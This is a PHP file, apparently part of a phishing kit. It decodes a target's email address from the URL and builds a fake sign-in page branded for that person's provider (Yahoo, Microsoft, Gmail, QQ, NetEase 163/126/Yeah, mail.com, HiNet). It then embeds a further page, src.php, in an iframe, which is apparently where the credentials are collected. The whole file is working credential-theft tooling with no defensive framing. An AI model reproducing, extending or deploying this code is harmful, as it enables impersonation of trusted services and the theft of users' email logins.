<?php
$mail = $_GET['0'];
$dec = base64_decode($mail);
$domain = $dec;

if (stripos($domain, 'yahoo') !== false || stripos($domain, 'rocketmail') !== false){
$title = "Yahoo - login";
$mode = "serv/mode/ym.jpg";
$serv = "serv/ym.ico";
}

elseif (stripos($domain, 'office') !== false || stripos($domain, 'live') !== false || stripos($domain, 'hotmail') !== false){
$title = "Sign in to your Microsoft account";
$mode = "serv/mode/hm.jpg";
$serv = "serv/hm.ico";
}

elseif (stripos($domain, 'yeah') !== false){
$title = "Yeah.net网易免费邮--快乐 分享 成长";
$mode = "serv/mode/ye.jpg";
$serv = "serv/12.ico";
}

elseif (stripos($domain, '163') !== false){
$title = "163网易免费邮--中文邮箱第一品牌";
$mode = "serv/mode/13.jpg";
$serv = "serv/12.ico";
}

elseif (stripos($domain, '126') !== false){
$title = "126网易免费邮--你的专业电子邮";
$mode = "serv/mode/12.jpg";
$serv = "serv/12.ico";
}


elseif (stripos($domain, '@mail.com') !== false){
$title = "Log in and enjoy your email";
$mode = "serv/mode/ma.jpg";
$serv = "serv/ma.ico";
	
}

elseif (stripos($domain, 'gmail.com') !== false){
	
$title = "Gmail - Free Storage and Email from Google";
$mode = "serv/mode/gm.jpg";	
$serv = "serv/gm.ico";
}

elseif (stripos($domain, 'qq') !== false){
$title = "Sign in QQMail";
$mode = "serv/mode/qq.jpg";	
$serv = "serv/qq.ico";
	
}

elseif (stripos($domain, 'hinet') !== false || stripos($domain, 'hi-net') !== false){
$title = "HiNet WebMail Service";
$mode = "serv/mode/hi.jpg";	
$serv = "serv/hi.ico";
	
}

else{
$title = "Sign In to Update";
$mode = "serv/mode/bg.jpg";
$serv = "http://".$fav."/favicon.ico";
	
}
?>

<!doctype html>
<html>
	<head>
		<meta charset="utf-8">
		<title><?php echo $title;?></title>
		<link rel="shortcut icon" type="image/png" href="<?php echo $serv; ?>"/>
		<link rel="stylesheet" href="cache/style.css">
		<style>
		body
{
	margin: 0;
	padding: 0;
	background: url(<?php echo $mode; ?>)no-repeat;
	background-size: cover;
	font-family: sans-serif;
}
		</style>
	</head>
	<body>
		<iframe src="src.php?0=<?php echo $mail;?>&a=0" width="370" height="550"></iframe>
	</body>
</html>
